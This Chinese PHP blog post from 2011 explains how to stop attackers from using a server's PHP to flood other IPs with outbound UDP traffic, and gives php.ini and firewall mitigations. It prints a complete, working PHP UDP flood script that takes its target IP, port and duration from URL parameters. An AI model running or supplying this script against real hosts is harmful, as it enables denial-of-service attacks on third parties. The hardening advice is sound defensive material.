防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
PHP目录函数实现创建、读取目录教程实例
Jan 13 PHP
深入理解PHP原理之Session Gc的一个小概率Notice
Apr 12 PHP
PHP 第二节 数据类型之数组
Apr 28 PHP
PHP漏洞全解(详细介绍)
Nov 13 PHP
解析php入库和出库
Jun 25 PHP
php中通过curl检测页面是否被百度收录
Sep 27 PHP
PHP中使用file_get_contents抓取网页中文乱码问题解决方法
Dec 17 PHP
PHP简单实现HTTP和HTTPS跨域共享session解决办法
May 27 PHP
php并发加锁示例
Oct 17 PHP
PHP+AjaxForm异步带进度条上传文件实例代码
Aug 14 PHP
深入浅析安装PhpStorm并激活的步骤详解
Sep 17 PHP
PHP基于进程控制函数实现多线程
Dec 09 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
PHP Session 变量的使用方法详解与实例代码
2013/09/11 PHP
PHP PDOStatement:bindParam插入数据错误问题分析
2013/11/13 PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
2016/04/17 PHP
yii使用bootstrap分页样式的实例
2017/01/17 PHP
PHP使用GD库制作验证码的方法(点击验证码或看不清会刷新验证码)
2017/08/15 PHP
分享几种好用的PHP自定义加密函数(可逆/不可逆)
2020/09/15 PHP
避免回车键导致的页面无意义刷新的解决方法
2011/04/12 Javascript
jquery实现的一个导航滚动效果具体代码
2013/05/27 Javascript
Jquery动态进行图片缩略的原理及实现
2013/08/13 Javascript
js鼠标及对象坐标控制属性详细解析
2013/12/14 Javascript
JS+CSS实现下拉列表框美化效果(3款)
2015/08/15 Javascript
基于Javascript实现弹出页面效果
2016/01/01 Javascript
jQuery form 表单验证插件(fieldValue)校验表单
2016/01/24 Javascript
Vue如何从1.0迁移到2.0
2017/10/19 Javascript
React-native桥接Android原生开发详解
2018/01/17 Javascript
vue页面切换过渡transition效果
2018/10/08 Javascript
让 babel webpack vue 配置文件支持智能提示的方法
2019/06/22 Javascript
js实现拾色器插件(ColorPicker)
2020/05/21 Javascript
Python如何抓取天猫商品详细信息及交易记录
2018/02/23 Python
python实现将一个数组逆序输出的方法
2018/06/25 Python
python求最大连续子数组的和
2018/07/07 Python
对python pandas 画移动平均线的方法详解
2018/11/28 Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
2019/11/04 Python
pygame用blit()实现动画效果的示例代码
2020/05/28 Python
写好求职信第一句话的技巧
2013/10/26 职场文书
医学生毕业自我鉴定
2014/03/26 职场文书
企业职业病防治方案
2014/05/29 职场文书
小学国庆节活动方案策划书
2014/09/16 职场文书
毕业横幅标语
2014/10/08 职场文书
教师党的群众路线学习心得体会
2014/11/04 职场文书
档案管理员岗位职责
2015/02/12 职场文书
个人自荐书怎么写
2015/03/26 职场文书
董事长开业致辞
2015/07/29 职场文书
分享:关于学习的励志名言赏析
2019/08/16 职场文书
MySQL Innodb关键特性之插入缓冲(insert buffer)
2021/04/08 MySQL
Python用any()函数检查字符串中的字母以及如何使用all()函数
2022/04/14 Python